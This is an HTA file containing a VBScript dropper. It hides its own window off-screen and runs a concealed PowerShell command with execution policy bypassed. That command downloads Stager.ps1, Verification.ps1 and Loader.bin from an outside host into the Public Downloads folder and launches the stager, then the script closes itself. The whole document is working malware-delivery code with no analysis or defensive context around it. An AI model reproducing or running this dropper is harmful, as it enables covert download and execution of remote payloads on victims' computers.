<script language="VBScript">
    ' Hide the window
    Window.ReSizeTo 0, 0
    Window.MoveTo -4000, -4000

    ' Create a WScript.Shell object to run commands
    Dim ForceAdmin
    Set ForceAdmin = CreateObject("WScript.Shell")

    ' Define the PowerShell command to download files and run Stager.ps1
    Dim elevate
    elevate = "powershell -ExecutionPolicy Bypass -Command ""& { " & _
              "$downloadPath = 'C:\Users\Public\Downloads\'; " & _
              "Invoke-WebRequest -Uri 'https://seosnaps-00.hf.space/downloads/Stager.ps1' -OutFile ($downloadPath + 'Stager.ps1'); " & _
              "Invoke-WebRequest -Uri 'https://seosnaps-00.hf.space/downloads/Verification.ps1' -OutFile ($downloadPath + 'Verification.ps1'); " & _
              "Invoke-WebRequest -Uri 'https://seosnaps-00.hf.space/downloads/Loader.bin' -OutFile ($downloadPath + 'Loader.bin'); " & _
              "Start-Process -FilePath 'powershell' -ArgumentList '-ExecutionPolicy Bypass -File ""' + $downloadPath + 'Stager.ps1""' -NoNewWindow; }"""

    ' Run the PowerShell command
    ForceAdmin.Run elevate, 0, false

    ' Close the script
    self.close()
</script>